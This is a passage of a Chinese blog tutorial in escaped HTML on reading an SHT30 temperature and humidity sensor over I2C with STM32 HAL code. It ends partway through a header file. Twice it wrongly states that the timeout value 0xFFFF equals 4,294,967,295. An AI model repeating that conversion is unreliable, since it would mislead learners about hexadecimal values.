title=\"(2)主机接收数据\"\u003e\u003c/a\u003e(2)主机接收数据\u003c/h4\u003e\u003cul\u003e\u003cli\u003e主机发送起始信号后,接着发送地址字节(其中R\u0026#x2F;W\u0026#x3D;1);\u003c/li\u003e\u003cli\u003e对应的从机收到地址字节后,返回一个应答信号并向主机发送数据;\u003c/li\u003e\u003cli\u003e主机收到数据后向从机反馈一个应答信号ACK;\u003c/li\u003e\u003cli\u003e从机收到应答信号后再向主机发送下一个数据;\u003c/li\u003e\u003cli\u003e当主机完成接收数据后,向从机发送一个NAK,从机收到非应答信号后便停止发送;\u003c/li\u003e\u003cli\u003e主机发送非应答信号后,再发送一个停止信号,释放总线结束通信。\u003c/li\u003e\u003c/ul\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/19.webp\" style=\"zoom:67%;\" /\u003e\u003cblockquote\u003e\u003cp\u003e\u003ccode\u003e注意\u003c/code\u003e :\u003c/p\u003e\u003cul\u003e\u003cli\u003e主机所接收数据的数量是由主机自身决定,当发送“非应答信号NAK”时从机便结束传送并释放总线。\u003c/li\u003e\u003cli\u003e非应答信号的两个作用:前一个数据接收成功,停止从机的再次发送。\u003c/li\u003e\u003c/ul\u003e\u003c/blockquote\u003e\u003ch2 id=\"SHT30-温湿度传感器\"\u003e\u003ca href=\"#SHT30-温湿度传感器\" class=\"headerlink\" title=\"SHT30 温湿度传感器\"\u003e\u003c/a\u003eSHT30 温湿度传感器\u003c/h2\u003e\u003cp\u003e\u003cdel\u003e)睡醒再写……\u003c/del\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003eSHT3X数据手册下载: \u003ca href=\"https://sensirion.com/media/documents/213E6A3B/63A5A569/Datasheet_SHT3x_DIS.pdf\"\u003e[Datasheet SHT3x-DIS]\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\u003ch3 id=\"SHT30简介\"\u003e\u003ca href=\"#SHT30简介\" class=\"headerlink\" title=\"SHT30简介\"\u003e\u003c/a\u003eSHT30简介\u003c/h3\u003e\u003cp\u003eSHT30数字温湿度传感器采用业内知名的瑞士Sensirion公司推出的新一代SHT30温湿度传感器芯片,它能够提供极高的可靠性和出色的长期稳定性,具有功耗低、反应快、抗干扰能力强等优点。IIC通讯,兼容3.3V\u0026#x2F;5V,可以非常容易的集成到智能楼宇、天气站、仓库存储、养殖、孵化等应用场景中,其中小米的温湿度传感器使用的也是SHT30。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/index.webp\" style=\"zoom: 50%;\" /\u003e\u003cul\u003e\u003cli\u003e高精度,内部自动校准,数字输出\u003c/li\u003e\u003cli\u003e低功耗、响应速度快、抗干扰能力强\u003c/li\u003e\u003cli\u003e兼容3.3V\u0026#x2F;5V控制器\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"SHT30工作原理\"\u003e\u003ca href=\"#SHT30工作原理\" class=\"headerlink\" title=\"SHT30工作原理\"\u003e\u003c/a\u003eSHT30工作原理\u003c/h3\u003e\u003cp\u003eSHT30 芯片有八个引脚,利用I2C进行数据传输,具有两个可选地址,宽电源电压从2.4V到5.5V。下面是引脚说明:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e管脚\u003c/th\u003e\u003cth\u003e名称\u003c/th\u003e\u003cth\u003e备注\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e1\u003c/td\u003e\u003ctd\u003eSDA\u003c/td\u003e\u003ctd\u003eI2C数据引脚,输入\u0026#x2F;输出\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e2\u003c/td\u003e\u003ctd\u003eADDR\u003c/td\u003e\u003ctd\u003e地址引脚,输入\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e3\u003c/td\u003e\u003ctd\u003eALENT\u003c/td\u003e\u003ctd\u003e报警引脚,输出;\u003cstrong\u003e不使用时悬空\u003c/strong\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e4\u003c/td\u003e\u003ctd\u003eSCL\u003c/td\u003e\u003ctd\u003eI2C时钟引脚,输入\u0026#x2F;输出\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e5\u003c/td\u003e\u003ctd\u003eVDD\u003c/td\u003e\u003ctd\u003e电源引脚,输入\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e6\u003c/td\u003e\u003ctd\u003enRESET\u003c/td\u003e\u003ctd\u003e复位引脚,输入\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e7\u003c/td\u003e\u003ctd\u003eR\u003c/td\u003e\u003ctd\u003e无用引脚,接地\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e8\u003c/td\u003e\u003ctd\u003eVSS\u003c/td\u003e\u003ctd\u003e接地引脚\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"SHT30地址选择\"\u003e\u003ca href=\"#SHT30地址选择\" class=\"headerlink\" title=\"SHT30地址选择\"\u003e\u003c/a\u003eSHT30地址选择\u003c/h4\u003e\u003cp\u003eSHT3x有两个地址,可以将\u003ccode\u003eADDR\u003c/code\u003e接到不同电平进行切换:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003eSHT3x-DIS\u003c/th\u003e\u003cth\u003eI2C地址\u003c/th\u003e\u003cth\u003e条件\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003eI2C地址A\u003c/td\u003e\u003ctd\u003e0x44(默认)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eADDR\u003c/code\u003e引脚接\u003cstrong\u003e低\u003c/strong\u003e电平\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eI2C地址B\u003c/td\u003e\u003ctd\u003e0x45\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eADDR\u003c/code\u003e引脚接\u003cstrong\u003e高\u003c/strong\u003e电平\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"SHT3x电路图\"\u003e\u003ca href=\"#SHT3x电路图\" class=\"headerlink\" title=\"SHT3x电路图\"\u003e\u003c/a\u003eSHT3x电路图\u003c/h4\u003e\u003cp\u003e因为是开漏,所以记得将\u003ccode\u003eSDA\u003c/code\u003e,\u003ccode\u003eSCL\u003c/code\u003e两个引脚拉高。(因为直接买的模块,所以就不用操心了。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/20.webp\" alt=\"电路图\" style=\"zoom:67%;\" /\u003e\u003ch3 id=\"SHT30数据采集\"\u003e\u003ca href=\"#SHT30数据采集\" class=\"headerlink\" title=\"SHT30数据采集\"\u003e\u003c/a\u003eSHT30数据采集\u003c/h3\u003e\u003cp\u003eSHT3x有单次测量命令数据采集模式和周期性测量命令数据采集模式,这里选择\u003cstrong\u003e周期性测量命令数据采集模式\u003c/strong\u003e。\u003c/p\u003e\u003ch4 id=\"定期数据采集模式的测量命令\"\u003e\u003ca href=\"#定期数据采集模式的测量命令\" class=\"headerlink\" title=\"定期数据采集模式的测量命令\"\u003e\u003c/a\u003e定期数据采集模式的测量命令\u003c/h4\u003e\u003cp\u003e在这种模式下,一个发出的测量命令会产生一个数据对流。每个数据对由一个16位温度值和一个16位湿度值(按此顺序)组成。在周期模式下,可以选择不同的测量命令。对应的16位命令如表9所示。它们在可重复性(低、中、高)和数据采集频率(每秒0.5、1、2、4和10次测量值,mps)方面存在差异。在此模式下不能选择时钟拉伸。数据采集频率和可重复性设置会影响传感器的测量持续时间和电流消耗。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/21.webp\" style=\"zoom:80%;\" /\u003e\u003cp\u003e根据表格的通信时序,主机发送起始信号,然后发送从机地址加写指令命令,等待从机应答,再发送命令的高位(MSB),等待从机应答,再发送命令的低位(LSB)。\u003c/p\u003e\u003ch4 id=\"周期模式下测量结果的读数\"\u003e\u003ca href=\"#周期模式下测量结果的读数\" class=\"headerlink\" title=\"周期模式下测量结果的读数\"\u003e\u003c/a\u003e周期模式下测量结果的读数\u003c/h4\u003e\u003cp\u003e\u003cstrong\u003e读数据的命令是: \u003ccode\u003e0xE000\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/22.webp\" style=\"zoom:67%;\" /\u003e\u003cp\u003e读数可以通过上表所示的命令启动。如果没有测量数据,I2C读取头用NACK而不是ACK(表中的位9)响应,通信停止。\u003c/p\u003e\u003cp\u003e空白的数据块是由32发送,黑色的数据块是由SHT30发送。\u003c/p\u003e\u003cp\u003e根据表中的通信时序,获取SHT30的温湿度数据,获取到的是16位的温度值和16位的湿度值,温度和湿度后都有CRC-8校验。\u003c/p\u003e\u003ch4 id=\"SHT30复位\"\u003e\u003ca href=\"#SHT30复位\" class=\"headerlink\" title=\"SHT30复位\"\u003e\u003c/a\u003eSHT30复位\u003c/h4\u003e\u003cp\u003eSHT30的系统复位有两种方式,一种是发出命令(软重置),一种是通过外部向专用复位引脚(\u003ccode\u003enRESET\u003c/code\u003e)发送脉冲。我们选择\u003cstrong\u003e软重置\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e软重置的命令是: \u003ccode\u003e0x30A2\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/23.webp\" style=\"zoom:67%;\" /\u003e\u003ch4 id=\"差错校验\"\u003e\u003ca href=\"#差错校验\" class=\"headerlink\" title=\"差错校验\"\u003e\u003c/a\u003e差错校验\u003c/h4\u003e\u003cp\u003e\u003ca href=\"https://www.jianshu.com/p/f0c68eebb8a1\"\u003eCRC8校验 - 简书 (jianshu.com)\u003c/a\u003e \u003cdel\u003e(原理进行一个参考链接的抄)\u003c/del\u003e\u003c/p\u003e\u003cp\u003eCRC覆盖了先前传输的两个数据字节的内容。 为了计算校验和,仅使用这两个先前发送的数据字节。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/24.webp\" style=\"zoom:67%;\" /\u003e\u003ch4 id=\"温湿度转换\"\u003e\u003ca href=\"#温湿度转换\" class=\"headerlink\" title=\"温湿度转换\"\u003e\u003c/a\u003e温湿度转换\u003c/h4\u003e\u003cp\u003e测量数据始终以 16 位值(无符号整数)形式传输。 这些值已经线性化并补偿了温度和电源电压的影响。 可以使用以下公式将这些原始值转换为物理标度。\u003c/p\u003e\u003cp\u003e相对湿度换算公式(结果以%RH为单位):\u003c/p\u003e\u003cp\u003e$$RH\u0026#x3D;100\\times \\frac{S_{RH}}{2^{16}-1}$$\u003c/p\u003e\u003cp\u003e温度换算公式(结果以 °C 和 °F 为单位):\u003c/p\u003e\u003cp\u003e$$T[°C]\u0026#x3D;-45+175\\times\\frac{S_T}{2^{16}-1}$$\u003c/p\u003e\u003cp\u003e$$T[°F]\u0026#x3D;-49+315\\times\\frac{S_T}{2^{16}-1}$$\u003c/p\u003e\u003cp\u003e$S_{RH}$ 和 $S_{T}$ 分别表示湿度和温度的原始传感器输出。 仅当$S_{RH}$ 和 $S_{T}$ 以十进制表示形式使用时,这些公式才能正确工作。\u003c/p\u003e\u003ch2 id=\"代码驱动SHT30\"\u003e\u003ca href=\"#代码驱动SHT30\" class=\"headerlink\" title=\"代码驱动SHT30\"\u003e\u003c/a\u003e代码驱动SHT30\u003c/h2\u003e\u003cp\u003e首先使用 STM32CubeMX进行一些常规配置,时钟,调试选项……\u003c/p\u003e\u003cp\u003e然后配置串口: \u003ca href=\"https://blog.ksfu.top/posts/b619/\"\u003eSTM32\u0026amp;UART串口通信(使用CubeMX)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e在I2C2中选择I2C,打开硬件I2C。\u003c/p\u003e\u003ch3 id=\"HAL库中I2C发送接收数据函数\"\u003e\u003ca href=\"#HAL库中I2C发送接收数据函数\" class=\"headerlink\" title=\"HAL库中I2C发送接收数据函数\"\u003e\u003c/a\u003eHAL库中I2C发送接收数据函数\u003c/h3\u003e\u003ch4 id=\"(1)HAL-I2C-Master-Transmit\"\u003e\u003ca href=\"#(1)HAL-I2C-Master-Transmit\" class=\"headerlink\" title=\"(1)HAL_I2C_Master_Transmit()\"\u003e\u003c/a\u003e(1)HAL_I2C_Master_Transmit()\u003c/h4\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e函数原型\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003eHAL_I2C_Master_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eI2C_HandleTypeDef \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehi2c\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e DevAddress\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003epData\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e Size\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e Timeout\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e函数功能:IIC发送数据,主机需要将数据通过IIC发送过去\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e参数介绍:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e*hi2c\u003c/code\u003e 设置使用的是那个IIC\u003c/li\u003e\u003cli\u003e\u003ccode\u003eDevAddress\u003c/code\u003e 写入的地址,设置写入数据的地址\u003c/li\u003e\u003cli\u003e\u003ccode\u003e*pData\u003c/code\u003e 需要写入的数据\u003c/li\u003e\u003cli\u003e\u003ccode\u003eSize\u003c/code\u003e 要发送的字节数\u003c/li\u003e\u003cli\u003e\u003ccode\u003eTimeout\u003c/code\u003e 最大传输时间,超过传输时间将自动退出传输函数\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用到的函数参数讲解(🌰):\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003eHAL_I2C_Master_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehi2c2\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e SHT30_ADDR_WR\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e\u0026amp;hi2c2\u003c/code\u003e:我们使用的是:\u003ccode\u003ehi2c2\u003c/code\u003e,传地址\u003ccode\u003e\u0026amp;hi2c2\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eSHT30_ADDR_WR\u003c/code\u003e:我们宏定义了写的地址,传写的地址\u003ccode\u003e#define SHT30_ADDR_WR (SHT30_ADDR\u0026lt;\u0026lt;1)\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003e(uint8_t*)buf\u003c/code\u003e:我们将需要传的数据保存在\u003ccode\u003ebuf\u003c/code\u003e中\u003c/li\u003e\u003cli\u003e\u003ccode\u003e2\u003c/code\u003e:传\u003ccode\u003e2\u003c/code\u003e个字节,\u003ccode\u003e16\u003c/code\u003e个位\u003c/li\u003e\u003cli\u003e\u003ccode\u003e0xFFFF\u003c/code\u003e超时:\u003ccode\u003e0xFFFF\u003c/code\u003e(4 294 967 295也就是无符号整型所能表示的最大值)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"HAL-I2C-Master-Receive\"\u003e\u003ca href=\"#HAL-I2C-Master-Receive\" class=\"headerlink\" title=\"HAL_I2C_Master_Receive()\"\u003e\u003c/a\u003eHAL_I2C_Master_Receive()\u003c/h4\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e函数原型\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003eHAL_I2C_Master_Receive\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eI2C_HandleTypeDef \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehi2c\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e DevAddress\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003epData\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e Size\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e Timeout\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e函数功能:IIC接收数据,从机发送给主机,主机需要将数据通过IIC接收\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e函数参数和HAL_I2C_Master_Transmit()大概是一样的,只是取到的数据保存在pData中。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用到的函数参数讲解(🌰):\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003eHAL_I2C_Master_Receive\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehi2c2\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e SHT30_ADDR_RD\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e buf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e SHT30_DATA_SIZE\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e\u0026amp;hi2c2\u003c/code\u003e:我们使用的是:\u003ccode\u003ehi2c2\u003c/code\u003e,传地址\u003ccode\u003e\u0026amp;hi2c2\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eSHT30_ADDR_RD\u003c/code\u003e:我们宏定义了读的地址,传读的地址\u003ccode\u003e#define SHT30_ADDR_RD ((SHT30_ADDR\u0026lt;\u0026lt;1) | 0x01)\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003ebuf\u003c/code\u003e:我们将获取到的数据保存在\u003ccode\u003ebuf\u003c/code\u003e中\u003c/li\u003e\u003cli\u003e\u003ccode\u003eSHT30_DATA_SIZE\u003c/code\u003e:宏定义,6个字节\u003ccode\u003e#define SHT30_DATA_SIZE 6\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003e0xFFFF\u003c/code\u003e超时:\u003ccode\u003e0xFFFF\u003c/code\u003e(4 294 967 295也就是无符号整型所能表示的最大值)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"头文件-sht30-h\"\u003e\u003ca href=\"#头文件-sht30-h\" class=\"headerlink\" title=\"头文件 sht30.h\"\u003e\u003c/a\u003e头文件 \u003ccode\u003esht30.h\u003c/code\u003e\u003c/h3\u003e\u003cp\u003e在头文件中我们提前定义好相关命令与函数原型。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eenum\u003c/code\u003e用于定义枚举类型,它本质上是一种整数类型。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003eifndef\u003c/span\u003e \u003cspan class=\"token expression\"\u003eINC_SHT30_H_\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eINC_SHT30_H_\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"stm32f4xx_hal.h\"\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eSHT30_ADDR\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eSHT30_ADDR_WR\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eSHT30_ADDR\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eSHT30_ADDR_RD\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eSHT30_ADDR\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e|\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eSHT30_DATA_SIZE\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eenum\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 软件复位命令 */\u003c/span\u003e SOFT_RESET_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x30A2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 单次测量模式 命名格式:Repeatability_CS_CMD CS: Clock stretching */\u003c/span\u003e HIGH_ENABLED_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2C06\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_ENABLED_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2C0D\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_ENABLED_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2C10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e HIGH_DISABLED_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2400\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_DISABLED_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x240B\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_DISABLED_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2416\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 周期测量模式 命名格式:Repeatability_MPS_CMD MPS:measurement per second */\u003c/span\u003e HIGH_0_5_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2032\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_0_5_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2024\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_0_5_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x202F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e HIGH_1_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2130\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_1_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2126\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_1_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x212D\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e HIGH_2_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2236\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_2_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2220\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_2_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x222B\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e HIGH_4_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2334\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_4_CMD 